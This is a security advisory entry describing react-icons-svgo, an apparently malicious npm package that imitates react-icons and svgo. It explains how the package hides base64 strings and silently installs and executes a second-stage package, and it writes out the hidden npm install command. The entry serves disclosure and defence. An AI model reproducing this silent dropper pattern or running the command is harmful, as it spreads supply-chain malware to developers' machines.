react-icons-svgo@1.5.4
Malicious code in react-icons-svgo (npm)
Analysis
react-icons-svgo is a combosquat of the real react-icons and svgo packages. Its index.js contains two base64-encoded strings. When the exported getPlugin() or setPlugin() functions are called (functions that recursively scan directories for .svg files, defaulting to ./script), the code decodes the first string and spawns a child process running: npm install rollup-plugin-polyfill-handler --no-save --silent --no-audit --no-fund. After installation, it requires the installed rollup-plugin-polyfill-handler package and executes its getPlugin() method — a second-stage dropper pattern. The npm install runs silently (stdio:ignore, windowsHide:true) with audit and funding checks disabled.
- analyzed by
- Leitwacht
- first seen
- Jul 3, 2026, 04:37 PM
- analyzed
- Jul 3, 2026, 04:38 PM
Related advisories
- npm-rce-poc@1.0.13
- @withoneltd/lucky@0.1.4
- @immobiliarelabs/backstage-plugin-gitlab-backend@3.0.3
- mailconfirmer@3.3.11
- codyx-ai-linux-x64-musl@1.14.42
- weavedb-base@0.45.3
- @immobiliarelabs/backstage-plugin-gitlab-backend@4.0.2
- hexo-shoka-swiper@0.1.10
Independently detected by the Leitwacht supply-chain probe. IOCs are defanged. Published CC0. Think this is a mistake? See the dispute policy.